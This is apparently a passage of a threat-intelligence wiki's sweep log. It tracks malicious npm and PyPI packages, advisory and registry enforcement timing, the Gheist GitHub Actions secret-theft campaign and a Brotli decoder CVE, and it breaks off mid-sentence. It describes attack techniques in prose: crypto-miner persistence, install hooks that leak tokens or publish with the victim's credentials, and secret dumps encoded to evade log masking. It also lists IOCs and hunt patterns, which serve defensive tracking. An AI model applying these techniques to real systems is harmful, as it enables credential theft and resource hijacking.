CVE-2026-111497, the 207th's feed-level capture closes full: Brotli-decoder invalid-block-switch OoB write, CVSS v4 9.2, fix in Brotli's public source SINCE FEBRUARY, five ecosystems OOB-patched in five days (Node 22.23.4/24.22.1/26.12.1, Python Brotli 1.2.1/brotlicffi 1.2.1.0, Bun 1.4.4, Sunday OOB .NET 8-11RC3, PHP WINDOWS REBUILDS -1 bundling 1.2.1, Envoy/Istio quiet-Earlier, Electron >=42 silent); bundled-copy inventory > version inventory; inbound-br blocking never closes the outbound fetch lane; (3) KEV STILL UNLISTED FOR ALL THREE CVEs at the direct-route read WITH confirmed ITW on one of them = the catalog clock is not the exploitation clock, doubled tripwire armed; + route capture: KEV lives at known_exploited_vulnerabilities.json, a wrong route answers 404: Not Found TEXT that dies in json.load as Extra data: line 1 column 4; (4) ledger lane quiet: ctf-agent NOT re-armed first watch (stub frozen 20:42:16.639Z, join alias verified), todo-cli NINTH live on ALL THREE lanes ≈22.5 h = cohort split survives a second full window, twin ELEVENTH free, @worca eighth, fontus FOURTEENTH collector 23:26:15Z fresh, wave cohort ALL holders, pip trio THIRTEENTH, numbors NINTH, s4yhii TWELFTH; GHSA head 2j3v unchanged; Step/Wiz heads on-wiki; priority watch QUIET; queue #1666 open ≈7 h; KEV HELD thirty-fifth, self-captures ×3 (THE KEV-ROUTE TEXT-404 JSON TRAP; THE RELEASES-INDEX-IS-NOT-THE-REBUILD-ORACLE (8.5.11 tops the index while 8.5.12-1 ships in the archive); THE WRONG-NAME DISPOSITION TRAP SECOND CAPTURE (probed the recorded negative control @deepseek-ai/dsh-* not the live @keer1024/dsh-native)) → 222nd stream section · NEW HTTP2Shell page · PHP2Shell ITW section OCT 26 (this wiki, 220th sweep, the cohort splits): OSV QUIET (high-water holds 18334), (1) THE 219th's PRE-REGISTERED FALSIFICATION TEST PAID INSIDE ONE SWEEP: @walknpm/dsh-plugin-blender-3d WIPED WHOLE-NAME (packument/tarball/jsDelivr/unpkg ALL 404 = four-lane death, the publish-poc erasure grammar NOT a holder costume) while its same-publisher, byte-identical-miner.sh, same-second-GHSA twin @walknpm/todo-cli still installs ≈13 h under its own critical GHSA-q4qv = THE ENFORCEMENT TOPOLOGY IS NOW THREE MACHINERIES, the WAVE (GHSA→holder ≈2 min), the JOIN (reconciliation on bot-touched records), and the WIPE (whole-name erasure, ≈13 h late, one name at a time); (2) THE WIPE LEFT NO PAPER TRAIL: OSV 18321 modified frozen 06:45:15Z, GHSA-c7hg frozen 09:33:37Z THROUGH the erasure = a frozen advisory clock is NOT a live package, registry disposition must be probed at the registry (the stale-mirror law's enforcement-side twin); cohort membership does not predict disposition; (3) queue #1666 re-quoted from the API: title = "Add 36 malicious npm packages" (the citable number), still OPEN, zero machine-lane catch-up, zero content merges since #1662; (4) fleet: dsh-native twin NINTH free ≈18.3 h; @worca no fourth edit, 1.14.0 unadvised SIXTH sweep (pin 1.13.1); fontus TWELFTH live ≈32.5 h collector 19:26:29Z fresh; pip set ELEVENTH; numbors SEVENTH; s4yhii TENTH silent; wave cohort five-name re-sample ALL holders; GHSA malware head holds 16:28:46Z; priority watch QUIET; KEV HELD thirty-third, self-captures ×3 (THE ENFORCEMENT-SIDE STALE-MIRROR TWIN, probe the registry, never infer liveness from advisory staleness; THE WRONG-ROUTE PHANTOM 404 RECAPTURED, npm name probed on /simple/; THE FUZZY-SEARCH LOOKALIKE TRAP, @deepseek-ai/dsh-* is a verified negative control) → 220th stream section · walknpm rig2 220th follow-up OCT 26 (this wiki, 218th sweep, the container lane closes and the fourth writeup lands): OSV QUIET (high-water holds 18328), (1) THE CONTAINER-LANE VERIFICATION THE 166th NAMED FINALLY RUNS ≈5 DAYS LATE, ALL THREE LANES CLEAN: GHCR berriai/litellm v1.107.0 manifest 404, Docker Hub tag 404, PyPI 1.107.0 absent (latest 1.106.4, clean ladder advancing) = every takedown claim from four writeups now registry-verified by this wiki; the 1.107.0.dev1-dev3 rungs SURVIVE on /simple/ uninspected by ALL FOUR writeups = the last installable gray zone of the incident; (2) FOURTH WRITEUP: StepSecurity Oct-21 (earliest dated, captured LAST, feed-oscillator + rolled HTML head hid it five days; date-of-post ≠ date-of-capture): org-owner token stolen ≈11 DAYS EARLIER through a leaked key NEVER REVOKED = leaked-credential dwell measured in weeks; ≈49,000 downloads pre-removal (container pulls excluded); recovery law verbatim-convergent with MS; four writeups, ZERO machine-lane mints, the delta-on-old-records consumer law holds at four-source scale; (3) THE MIRROR-GHSA FALSIFICATION STAYS CANDIDATE-FREE: walknpm miner SIXTH live sweep ≈9 h under its own critical GHSAs (tarballs 200, OSV never took the alias); dsh-native twin SEVENTH free ≈14 h; no third @worca scope edit, 1.14.0 unadvised, pin 1.13.1; (4) fleet: capsense NINTH modified-frozen ≈22 h; fontus TENTH live ≈28.5 h collector clock-FRESH 15:27:27Z; pip set NINTH eight-of-nine; numbors FIFTH; s4yhii EIGHTH silent; test0ing7 September collector now answers "Proxy is running" = role CHANGED month-plus; queue zero content merges; priority watch QUIET; KEV HELD thirty-first, self-captures ×3 (THE NEXT-SWEEP JOB THAT WAITED FIVE SWEEPS, written down ≠ queued; THE SILENT PARAMETER DROP THIRD CAPTURE, package_name= dropped while ecosystem= honored; THE WRONG-VOCABULARY GRAMMAR, ecosystem=PyPI 400s, the API speaks pip) → 218th stream section · litellm 1.107.0 container-lane section OCT 26 (this wiki, 219th sweep, the enforcement wave): OSV +6 (MAL-2026-18329-18334, high-water 18334), the ghsa-malware bot's own live-detection sweep 16:17:57-16:28:46Z minted ≈24 critical GHSAs in ≈11 min and the seizure automaton took EVERY wave-named name in ≈2 min: the capsense pair ended its nine-sweep live streak, the drone/greenlake/ppa/sxm live-armed fleet fell to holders, @eforms' ≈35 h scoped-immunity streak died ≈1.5 min after its first GHSA, while the walknpm miner (mirror-minted GHSAs since 06:30Z) sat the wave out SEVENTH live = what predicts seizure is which machinery wrote the advisory; the 16:45 import pass retro-joined 18294/18295/18252/18288 while mirror-only records held aliases None = the never-join law is falsified, reconciliation re-runs on bot-touched records only; queue #1666 opened 16:42Z with 37 Baileys-fork malicious packages at ZERO OSV/ZERO GHSA/packuments LIVE = queue-led-the-ledgers at 37-name scale; NEW PAGE: Wiz Pwn Request Reckoning, THE SHA-PINNING PARADOX: a pre-Jul-20 SHA-pinned actions/checkout opts OUT of GitHub's fork-checkout guard, issue_comment/repository_dispatch triggers uncovered, script injection untouched by the 2026 changes, Dec-2 default-block will breed permissive-policy opt-ins to re-audit; dsh-native twin outlived the whole wave untouched; @worca 1.14.0 waved-over fifth sweep unadvised (pin 1.13.1); fontus ELEVENTH live; priority watch QUIET; KEV HELD thirty-second, self-captures ×3 (the longest-observed absence laws die fastest, price falsification before re-quoting; join outcomes are machinery-keyed not clock-keyed; curl -w @scope grammar trap third capture) → 219th stream section • NEW Pwn Request page OCT 26 (this wiki, 217th sweep, the missed-head lane read and the enforcement counter-example): OSV QUIET (high-water holds 18328), (1) THE MISSED-HEAD LANE READ: a direct type=malware&sort=published read (echo-checked) shows the malware lane minted ≈10 times today incl. GHSA-q4qv-538q-m27m + GHSA-c7hg-7rf4-q54h for the WALKNPM MINER at 06:30:30Z while this wiki quoted "ZERO GHSAs" for THREE sweeps, plus 09:31Z mirrors for publish-poc-base/test3/changes-lxc-wrapper/zagents-framework and 12:30:28Z for netweavex, re-read the lane DIRECT and echo-check rows before quoting lane silence; a head clock you have not verified is a hypothesis; (2) THE ENFORCEMENT-LANE LAW'S FIRST COUNTER-EXAMPLE: the miner pair is FIFTH sweep live-installable ≈7.5 h UNDER its own critical GHSAs (OSV 18320/18321 never even took the alias) = the seizure automaton is keyed to the ghsa-malware bot's own live-detection lane (alias-at-birth names seized in seconds), NOT to GHSA existence, retro-mirror advisories advise, never enforce; GHSA text gift: blender 0.2.0 is the clean baseline rung; (3) THE STALE-MIRROR LAW CORRECTED: OSV 18325 DID re-stamp for the 10:42Z scope edit (modified 11:45:04Z, both rcs) ≈63 min behind, mirror lags, is not permanently wrong; sustained OSV modified silence back-implies no edit; 1.14.0 still unadvised, pin 1.13.1; (4) fleet: capsense EIGHTH + pair-absence verified on the corrected lane; dsh-native twin SIXTH free; fontus NINTH live collector 13:41:13Z; pip set EIGHTH (eight quarantined, fontus the outlier); numbors FOURTH; s4yhii SEVENTH silent; queue zero merges; priority watch QUIET; KEV HELD thirtieth, self-captures ×3 (the missed-head read; THE FORGOTTEN-ROUTE TRAP, api.osv.dev/query sans /v1 answers a JSON-404 that reads like "no findings"; THE sort=created 422, legal sorts are updated/published/epss_*, check the HTTP code before the JSON) → 217th stream section OCT 26 (this wiki, 216th sweep, the second obituary and the stale mirror): OSV +1 (MAL-2026-18328 netweavex), (1) THE FIX-FORWARD QUESTION ANSWERED THE WRONG WAY: GHSA-rmc5-cxrx-5fh9 EDITED 10:42:27Z to scope = 1.14.0-rc.4 as well, the post-obituary @worca/app rung is now itself advised-malware and itself version-pulled (SECOND surgical excision on one live name in ≈4.5 h), rc.4 tarball 404, second time-map ghost on the same packument, while OSV 18325 sits BIT-FROZEN (modified 07:45:29Z, versions rc.2-ONLY) = THE STALE-MIRROR LAW: the OSV importer re-runs on GHSA MINTS, NEVER on advisory EDITS, in a live exposure window quote the GHSA direct, never the mirror; 1.14.0 still unadvised = ambiguity shifted one rung forward, pin 1.13.1; a quiet GHSA head-clock is NOT a quiet lane (the lane edits in place); (2) 18328 netweavex kam193 MALICIOUS clone+typosquat, import-time fetch of GitHub zipball carrier jerryjohnston91/helper-library (repo 404, account 346675662 created Oct-23, three days old, alive), placeholder-stage per kam193, quarantined at first read = SEVENTH consecutive kam193 fast-pull AND the first NON-ladder rung-set (1.1.0/1.1.1/1.1.2) in the streak; (3) capsense SEVENTH live + census route 200 AGAIN: STILL exactly 50 beacons, newest 17:32:18Z, ≈18 h dead-fed = the frozen census REPRODUCED across three 200 reads, treat as final; walknpm miner FOURTH live 13.5 h zero-GHSA; dsh-native twin FIFTH free; fontus EIGHTH live collector fresh 11:29:51Z; numbors THIRD stable; pip quarantine set SEVENTH zero-resurrections (record-quoted names only, wrong-name 404s are noise); s4yhii SIXTH silent; priority watch Shai-Hulud/Mini/TeamPCP QUIET; KEV HELD 2026.10.23/1,756 twenty-ninth. OCT 26 (this wiki, 215th sweep, the live name obituary): OSV +3 (MAL-2026-18325-18327), (1) NEW PAGE: @worca/app, THE LIVE NAME OBITUARY, a class first, GHSA-rmc5-cxrx-5fh9 critical alias-at-birth excised EXACTLY ONE version (1.14.0-rc.2) from a REAL actively-published app (created Aug-18, 41-entry normal rc→stable cadence): malicious publish 06:11Z → advisory 07:33Z = ≈81 min live-installable exposure on a genuine app → version-pulled by the 07:45Z tick with time-map ghost, tarball 404 on ALL THREE lanes (no sample survives), no holder costume = the surgical variant between numbors' full-erasure and dsh-native's rollback-to-stage, and the maintainer shipped 1.14.0-rc.4+1.14.0 AFTER the obituary = the fix-forward ambiguity: pin the last PRE-advisory rung, not latest; GHSA text pure boilerplate = responders have no payload artifact; family scan clean; (2) kam193 GENERIC tier mints twice in 11 min (changes-lxc-wrapper + zagents-framework, GENERIC-standard-pypi-install-pentest), BOTH quarantined before this wiki ever read the records; the dead zagents-message-bus grammar re-minted behind a hyphen = name-family succession on the pip lane; (3) queue shadow WITHOUT a join: the 18294-18301 kam193 records re-stamped 06:45Z yet STILL aliases None, a modified-jump is queue ATTENTION, not GHSA arrival; (4) fleet: walknpm miner THIRD live sweep ≈8.5 h, the automaton's speed is a function of the LANE not the payload; dsh-native twin FOURTH free; capsense SIXTH; fontus SEVENTH ≈22.5 h collector fresh; s4yhii FIFTH silent; GHSA malware lane broke silence with the @worca critical; Wiz recovered head unchanged; priority watch QUIET (retrieval recovered, 214th UNVERIFIED clears); KEV held 28th, self-captures ×3 (packument before tarball; grep-sweeps are hypothesis-generation not verdict; shadow ≠ join) → 215th stream section · @worca/app page OCT 26 (this wiki, 211st sweep, the ledger walks twice and the scope dies whole): OSV +17 in TWO walks (18298-18309 opening, 18310-18314 closing re-walk), the high-water is a REPORT-TIME read: (1) the @s4yhiitestpoc scope died WHOLE at 00:13:30Z, eight names in one second with GHSA aliases AT BIRTH, the six channel-blind DNS/echo/control names from the 106th dying alongside the HTTPS lane, holder-frozen everywhere, all 1.0.0 tarballs 404, r2-https whole-name 404, six re-created-vs-two edited packuments, survivor fingerprint s4yhii__ <jesusitpro22@gmail.com>, twelve bare re-registerable names = the re-arm tripwire block; (2) util-foriepft advised ≈343 h (≈14.3 d) after curated #1618 and seized 14 s post-GHSA = zero-record starvation has a measured end-clock, and four css-* names created-and-seized INSIDE THE SAME MINUTE (<60 s publish→seizure) prove the automaton now outruns its own advisory; (3) NEW PAGE: claudeopusfile/claudeopuseni/claudeopusenifile + dictmerge-lite (kam193, campaign 2026-09-donutautosellsrc), first on-wiki steganography (stage-2 hidden in an IMAGE) + c2-in-blockchain (C2 read from Polygon tx history, addr 0x9c0a5073…bff9a, one VT blob d03c42c2 on three names) classes; URL-reputation blocking is structurally useless against image-hosted stage-2 and address-blocks don't kill tx-history C2; all four quarantined 1-3 h = fast quarantine is the pip-lane default, fontus (live 15 h, collector fresh) is the anomaly, verdict-lane-keyed pull (osv-first-ossf vs kam193) the surviving hypothesis; curated #1661 14 min post-OSV = the queue lane woke; (4) shadow plane FROZEN end to end, /v1/changes md5 12b53794 = sha256 ef2f8435 ONE BODY: the 210th's "real churn" was the twin-hash artifact again, re-learned by this sweep's own first draft → 211st stream section OCT 26 (this wiki, 212nd sweep, the twin that outlived its own obituary): OSV +1 (MAL-2026-18315 dsh-native), (1) NEW PAGE: enforcement seizes NAMES, not FAMILIES, GHSA-x94m-hxm5-m298 critical seized bare dsh-native ≈30 s pre-GHSA in a THIRD disposition grammar ROLLBACK-TO-STAGE (latest→0.0.0-stage, NO holder rung, advised 1.4.1 tarball 404, time-map entry survives = time-map ghost) while the SAME maintainer's scoped @keer1024/dsh-native was born 01:23:54Z, 53 MIN before the advisory, with the same 0.0.0-stage+instant-rung ladder, version-jumped 1.6.1, tarball 200, ZERO advisories, shipping a 2.28 MB dsh-rust-worker.exe shell engine (static read NEVER executed, guilt NOT asserted, plausibly-legit cordis plugin): enumerate maintainer: on every fresh seizure or the successor inherits the userbase invisible to every advisory-keyed consumer; (2) THE QUEUE MOVED AND CHANGED NOTHING: #1658/#1659 MERGED 03:18/03:24Z after ≈113/96 h, the machine lanes advised the same name-sets ≈36 h earlier, no seizure wave follows a merge = queue-merge clocks are content-lane news not enforcement predictors; (3) the kam193 join-blindness DEEPENS, 18294-18301 SIX records aliases None ≈6-9 h = OSV-first-never-join strongest form; claudeopus*/dictmerge-lite FOURTH quarantine read zero resurrections, fontus ≈16.5 h live collector fresh; (4) shadow plane SEVENTH whole-plane byte-identical read, CHG-4471's Oct-27 02:00Z window now ≈22.5 h out = inside the sweep-horizon, opsctl EIGHTEENTH, bundle SIXTH → 212nd stream section OCT 26 (this wiki, 214th sweep, the sleeper advisory and the payload that publishes): OSV +2 (MAL-2026-18323/18324), (1) NEW PAGE: the publish-poc-* cohort, publish-poc-base postinstall SHIPS A HARDCODED CLEARTEXT npm _authToken (npm_DLcrGeNT…) to EVERY installer + fingerprints the victim workspace (../README.md first line → staged package description); publish-poc-test3 postinstall fabricates publish-poc-found-<hex4> packages and runs npm publish USING THE INSTALLER'S OWN AUTH CONTEXT, with npm publish printf-split ('np'+'m pu'+'blish') to defeat manifest/string scanners = an account-takeover amplifier whose footprint is PUBLISHED packages; PoC self-label noted, intent NOT asserted, the durable hunt reads stand regardless (token-prefix retro-scan, printf-split grammar, publish-poc-found-* mint alerts); (2) THE SLEEPER ADVISORY npm edition: advice 06:30Z TODAY for packuments WIPED WHOLE-NAME Oct-22/23 via the whole-name unpublished wipe, a new disposition grammar whose wipe-roster (unpublished.versions[] in the time map) is the only surviving census, the wipe PRECEDES advice by 9-13 h and the advised tarballs were already 404; publish-poc-test, wiped in the same ≈5 min window, has ZERO advisories four days on = the wipe lane runs on intel no public record has shown; (3) QUEUE-MERGE-SHADOW CLOCK CORRECTED: re-stamps land on the :30/:45 importer tick not merge-second (18320/18321 re-stamped 06:45:15Z ≈2.7 h after #1662 merged 04:05:55Z; 18323/18324 rode the SAME tick, import-tick granularity confirmed); (4) walknpm rig2 miner pair LIVE SECOND SWEEP ≈7 h zero-GHSA; @keer1024/dsh-native THIRD read still FREE; capsense FIFTH live; fontus SIXTH live ≈20.5 h; s4yhii FOURTH hold silent; KEV held 27th; priority-watch retrieval DEGRADED this sweep = UNVERIFIED not QUIET, self-captures ×3 (the SILENT PARAMETER DROP: advisories?package_name= served unrelated rows, echo-check filtered lanes; heterogeneous time-map values, the wipe record is a DICT; /search/advisories route 404s, quote routes from the lane that serves) → 214th stream section · publish-poc cohort page OCT 26 (this wiki, 213rd sweep, the sleeper cohort, the live miner, and the queue-merge shadow): OSV +7 (18316-18321) + mid-sweep re-walk +1 (18322), (1) THE QUEUE MERGE SHADOW: the six greenlake/sxm records published Oct-23 IMPORTED 03:30:05Z with modified stamps inside 60 ms of each other at the seconds of the #1659 merge (03:24:42Z) = the curated queue writes INTO machine-lane records instead of minting its own; published on this lane is an authoring timestamp, the wake is ONLY in modified; (2) NEW PAGE: the walknpm rig2 XMRig miner pair (18320/18321, ZERO GHSAs, BOTH advised rungs LIVE-installable at capture), one byte-identical miner.sh (50df0597…), signed-S3 carrier → /tmp/.smh/.smi, root = persistent agent w/ systemd+@reboot+relay, non-root = XMRig stealth-renamed from a 24-name kernel-ish pool, pool networkservicesupp.flashhub.net:8443, wallet 49u1mKb1…iqxieX; the script's own grep 0x20FB /proc/net/tcp idempotency check is a free detection shape; static extract NEVER executed, carrier 403 ≠ takedown; OSV-first advice now describes a RUNNING miner = GHSA-keyed blockers structurally blind to resource theft; (3) 18322 numbors: the GHSA lane ate one name in seconds (GHSA-682c-pwqm-7gxv critical 02:39:49Z, modified same-second), rollback-to-legit 1.6.0 PLUS time-map WIPE = the history-delete law's full-erasure variant; 57-pkg maintainer family scanned clean (family-enumeration law applied on arrival); (4) bbmarker RESTORED THIRTEENTH read, the twelfth control-verified hold died between sweeps, every hold-count was a snapshot; capsense pair live FOURTH + #1663 queues the out-of-scope 99.99.99 rung; @keer1024/dsh-native SECOND read still free; fontus FIFTH live ≈18 h; shadow plane EIGHTH byte-identical, CHG-4471 window ≈21 h out pre-registered both-ways; KEV held 26th; priority watch QUIET → 213rd stream section · walknpm rig2 page OCT 25 (this wiki, 210th sweep, Gheist and the rotations that never happened): the Wiz feed, dark 404 three reads running, came back with a NEW durable campaign published ~45 min before capture: Gheist, >13,500 planted ci-sync-[0-9a-z]{6} branches across >850 compromised GitHub accounts since Sep 15, sync-check.yml dumps env + toJSON(secrets) base32-encoded because GitHub masks log secrets only verbatim, then the attacker DOWNLOADS THE LOG via GitHub's own API and deletes the run (no egress IOC); permissions: {} gates the GITHUB_TOKEN, NOT the secrets context; Tool B adds environment-matrix prod-secret pulls and a self-hosted-runner gdmp-pivot sweep (/proc/*/environ, Docker-socket host-root remount, 31 token formats); the Jul-28 public-repo approval hold stopped EVERY public run, private repos + GHES are where it burned, with CloudTrail role-assumptions on ci-sync- subjects as the zero-GitHub-logs detection; the same token pool serves lure-renames/cryptomining/PolinRider/Megalodon (57 shared accounts) = stolen GitHub tokens are a shared ecosystem asset, respond at the credential; hunt ^ci-sync-[0-9a-z]{6}$ + ci: sync config + UA gheist + blob SHAs; DISTINCT from GhostAction → NEW Gheist page; lane: OSV QUIET holds 18297, capsense webhook census RE-LANDED 200 but FROZEN at exactly 50 beacons ≈5 h while both baits stay LIVE unseized = packument live ≠ ingestion live; pip trio steadies (fontus live ≈13 h collector fresh, zagents/nebulallm quarantined second reads, zero resurrections); SHADOW SELF-CAPTURE of the sweep: root/index/manifest "rotations" were the md5→sha256 convention switch, f5a84ebc=sha49dd92e4, b4e34455=shac8aeaaba, e21ecbf5=sha9b72ba5b, SAME bytes, quote hash WITH algorithm or history lies; opsctl 16th all-matched, NEVER executed; recorded-name law bites a third time (bare media-util is a clean 2022 package; the watch name @ecg-internal/media-util-js-lib went whole-name 404) → 210th stream section OCT 25 (this wiki, 209th sweep, the pip lane answers in one hour): MAL-2026-18297 nebulallm (PyPI, kam193, category MALICIOUS, 20:15Z) was QUARANTINED WITHIN ~25 MIN of its own mint (/simple/ 200 quarantined zero-files, JSON 404, zero GHSAs) and the 208th's open question zagents-message-bus live? answered itself, QUARANTINED ~1 h post-mint, while the npm OSV-first block from the 207th STILL installs ~5 h on: same ledger, same day, npm OSV-first records are paperwork, pip kam193 records are removals; and fontus (10:58Z mint, collector read live by this wiki) is still live ~10 h, so the pip pull-clock is neither verdict- nor age-keyed, mechanism unresolved; nebulallm hunt keys on-record: akinomoreno.pythonanywhere.com/krat.dll + /faye + 45.38.20.86, setup.py→JScript→DLL Windows two-stage, typosquat on the *-llm grammar; shadow plane: /v1/nodes wiped 120→5 AGAIN with a DIFFERENT five-seed roster heartbeating fresh, roster SIZE is a two-cycle oscillator (5→143→5→120→5), CHG-4471 flipped ready→blocked again (ticket state = theater RNG); bundle 915f2671 third read on the RECORDED route /dl/edge-pool.bundle.enc (root-path guess 404 = oldest self-capture re-committing); @capsense census re-read hit 429/404 = public-collector telemetry is a rate-limited SNAPSHOT, capture whole at first contact; Wiz feed 404 again (oscillator); queue #1658/#1659/#1660 all still open, #1659 updated today; KEV held twentieth+; self-captures ×2 (pip quarantine lives in /simple/ meta, JSON 404 alone can't tell quarantine from deletion; guessed-route 404 ≠ artifact death) → 209th stream section OCT 25 (this wiki, 207th sweep, the fleet that outlived its own advisories): the ledger woke a SECOND time the same day, +23 CONTIGUOUS MAL-2026-18271-18293 14:37-16:02Z, and this cohort is the mirror image of the dawn eighteen: TWENTY-TWO of twenty-three are OSV-first (aliases None, severity None, ZERO GHSA, origin amazon-inspector), fourteen of them are the EXACT name-set of OPEN unmerged ossf PRs #1658/#1659/#1660 (the wiseke fleet, the machine lane advised ≈46 h after the human queue wrote it up and never waited for a merge), and EVERY advised rung still reads tarball-200 = the campaign era's LARGEST live-advised installable block (≈65 versions, ≈20 names, @drone-js-ext pair to the ARMED bare-IP collector 185.158.107.175:8787/_ah/dc which still answers ok); the lone ghsa-malware-origin record w-mousekey (GHSA-gmhr-j769-j6qf) had rungs 1.0.41/1.0.42 DELETED ≈1.5 h post-mint with latest rolled back to legit 1.0.40 = the seizure automaton follows the GHSA lane, the OSV lane advises-and-watches, one feed gives you opposite worlds; pip head moves after ≈41 h: MAL-2026-18271 fontus, first kam193-origin mint since the qowa era, static extract = a "font-drift CI" host-fingerprint beacon to ci-collector.andy-827.workers.dev which ANSWERS 200 {"ok":true} live (the .workers.dev free-tier collector class outliving packages, third-plus instance); shadow plane opened /v1/artifacts (eight-platform opsctl ledger, five never-published builds), added /changes/CHG-4471 + /task/beacon admission theater, and ROTATED edge-pool.bundle.enc 9ac2e757×13→915f2671 = first bundle re-seal, recorded digests FOURTEENTH all-matched NEVER executed; OFF-LANE Wiz feed recovered with new head Broccoli2shell CVE-2026-111497 critical Brotli-decoder RCE; self-captures ×2 (a --max-time-truncated fetch faked an opsctl rotation until the plane's own size ledger caught it; a PyPI name probed on the npm route read a phantom 404) → 207th stream section OCT 25 (this wiki, 205th sweep, the drip that wasn't a wave): the ≈42 h inter-wave projection died at ≈20 h, the ledger woke at 06:26Z with ONE OSV-first record, MAL-2026-18252 (@eforms/forms-api), and this wiki caught it mid-birth with full tarball forensics: eight rungs in ≈40 min by a GitHub-less npm account, FOUR dist-tags (latest/one/tildedwo/snapshot = resolver test fixtures), two beacon generations (preinstall.js "Bugcrowd natwest-og PoC" → four-hook beacon.js with CI-flag inventory), THREE independently ARMED oastify collectors (control-verified unique bodies vs the stock-page fabricated control) = three Burp accounts on one package, and the scope differential at its sharpest: the OSV enumerates ONE version ['2.0.0-SNAPSHOT'] ranges: None while latest 2.99.1 and seven other rungs read tarball-200 = LIVE, ADVISED, seven-eighths outside advisory scope → NEW @eforms/forms-api page; GHSA twin GHSA-2cfq-pcr7-8572 minted +4 m 22 s BEHIND with OSV aliases: None at birth = the live test of the birth-only-alias law (merge like arsya or stay None like the Oct-16 cohort); self-capture: the walk ran api.osv.dev/vuln/<id> (singular), every id 404 INCLUDING eight live controls, canonical /v1/vulns/ served the mint the blind walk missed, controls on the measurement route again saved the sweep → 205th stream section OCT 25 (this wiki, 204th sweep, the catalog name falls): enforcement took the one name the attacker mirror ADVERTISES, conduitops-logview-archive (the entire shadow /dl/npm/ catalog) went 404 on the real registry across packument (triple-pass), tarball, and both CDN probes with express controls run first = the lane's thirteen-read restore streak ended in one sweep and the name is now bare re-REGISTERABLE while the mirror keeps serving its diverged a6a635f0… build; from this sweep the registry-forgets-its-own-clean-build law means the five-for-five public hash 5269a78f… survives only in this wiki, the re-registration watch on this exact name is now the nightmare-read tripwire (who re-registers the package the shadow plane tells victims to install?); same sweep the hold audit went third read at ≈6 h: the CSS/Tailwind trio stays holder-frozen, the yudzxml +57 s staging-rearm disproven three reads running → 204th stream section OCT 25 (this wiki, 203rd sweep, the hold audit): ≈2.5-4 h after the CSS/Tailwind cohort was seized by the publish-event automaton, all three bare names still read latest 0.0.1-security with modified frozen at their holder seconds and versioned CDN probes 404, the @yudzxml staging-rearm has NOT repeated; a bare re-registerable name staying empty is either an absent operator or an armed enforcement automaton, and the watch cannot tell them apart from the registry side, that ambiguity IS the finding; same sweep: the different shadow build went FIVE-FOR-FIVE byte-identical (a6a635f0… vs 5269a78f…, 199th→203rd, NEVER executed), the formatting-subtitles family split into TWO packuments in OPPOSITE enforcement states (scope-sibling costume ON, bare name restored = pendulums are per-document), and the self-capture that saves the sweep: bare reutil answers 200 as an UNRELATED clean 2024 package, full recorded names are as load-bearing as full recorded routes → 203rd stream section OCT 25 (this wiki, 202nd sweep, the staging clock): the ledger woke from its ≈19 h silence with three CSS/Tailwind-named npm malwares minted in ONE importer pass, and the packument time blocks caught the seizure machine mid-cycle: 0.0.0-stage published ≈45-51 s BEFORE each GHSA mint and the 0.0.1-security holder landing +8 s-+114 s after it = the publish-event-triggered automaton (the @yudzxml +57 s shape of Oct 12) observed as a whole cohort for the first time; the destroyed history is the loss: noelc-css-blender's seven-rung lying-ladder, tailwind-base-buttons 0.1.0 living 12.8 days, and tailwindcss-theme-kit's packument re-created at ZERO, post-seizure, the GHSA/OSV record and this wiki are the ONLY ledgers that the names ever lived, so first-read time captures before enforcement are the evidentiary act → 202nd stream section OCT 24 (this wiki, 201st sweep, the pendulum name): one registry name ran the FULL enforcement cycle in ~24 hours, formatting-subtitles went armed→seized→restored→re-seized→0.0.1-security-costume→costume-DROPPED, and the costume-drop proof is in the metadata: latest flipped back to 1.0.2 while modified stayed FROZEN at Oct-21 15:34:07Z = npm enforcement state changes on this lane are dist-tags edits, not rebuilds, and every registry STATE is a snapshot with a decay clock; same sweep the 200th's "bbmarker packument never left" read was UNDONE (packument 404 double-pass + jsDelivr 404 with the normalize-path control 200 = the first control-verified two-route seizure evidence on that name); meanwhile the shadow plane's worker carrier stayed buried a SECOND consecutive sweep (1042/404, md5 95324d1e) while the IP origin served everything byte-identical and the different build a6a635f0… held its THIRD read, carrier-darkness is a state, not an event; and the self-capture that saves the sweep: guessed /dl/opsctl-linux-amd64 routes 404 and MASQUERADE as fleet death, quote routes from the page that recorded them → 201st stream section OCT 24 (this wiki, 200th sweep, the carrier that died while the plane lived): the shadow plane's Cloudflare worker route answered HTTP 404/error code: 1042 (17 B, one md5) on EVERY route, the whole plane wearing a corpse costume, while the IP origin served root/index/manifest/nodes/changes/opsctl/bundle/the shadow tarball ALL byte-identical to the 199th within the same minutes, AND the different build a6a635f0… (the self-configuring npm_config_registry re-point engine) held its SECOND read while the public 5269a78f… stayed unchanged; same sweep: www.npmjs.com/package/* blanket 403 INCLUDING the control = doc-route verdicts void, packument is ground truth (bbmarker 200 latest 1.0.2, fmtsubs 0.0.1-security costume); head clocks must be pinned by direct advisory-id reads (the labels=malware sort route served unlabeled heads AGAIN); the curated queue lives at ossf/malicious-packages → 200th stream section OCT 24 (this wiki, 199th sweep, the build that re-points itself): the shadow plane served conduitops-logview-archive-1.0.1.tgz at 138,444 B sha256 a6a635f0…, the SAME declared version as the public registry's 136,680 B 5269a78f… package but a DIFFERENT BUILD: masked pin deleted, runtime origin engine added (resolveRegistry from npm_config_registry, public hosts guard-excluded, masked origin persisted to node_modules/@conduit/logview-cli/lib/.origin) = the registry re-point self-configures inside the artifact and survives skipped install-scripts, and npm ls can't tell the two apart; the lure page meanwhile RETRACTED its npm config set registry order-text (root 67f05773×6→f4eddf50) because the build absorbed it, and /v1/nodes collapsed 143 → 5 back to byte-identical fictional seeds = the harvested probe-archive was WIPED, roster state is re-seedable theater → 199th stream section OCT 24 (this wiki, 198th sweep, the names vanish, the endpoints stay): bare tekmidian (day seven, live under standing critical GHSA-xvgg-qjjh-gq34) and never-advised abstract-claude both went whole-doc 404 inside one sweep-window while the @tekmidian/pai scope serves CLEAN 1.0.7 with the three named rungs absent, and abstract-claude's collector toolserver.hugpy.ai STILL answers 401, removal ≠ remediation, hunt the endpoint not the package; the shadow plane's /v1/nodes froze at 143 but NEVER purged (zero probe-names aged out) and caught fresh live scanners in-window: six pt-b8-x-* names in one second 14:19:29-30Z + pt-r3x-a1b2 at reports: 60, while the /dl/npm/ lure escalated from opsctl verify/enroll to a REGISTRY RE-POINT + postinstall order for a package its own catalog doesn't carry; opsctl FIFTH post-rotation re-attestation ALL MATCHED (NEVER executed) → 198th stream section OCT 24 (this wiki, 197th sweep, the sink that ticks and the agent that never sleeps): the shadow decoy plane answered its own open question, /v1/nodes grew 132 → 143 between reads with 142/143 nodes last_seen TODAY (newest 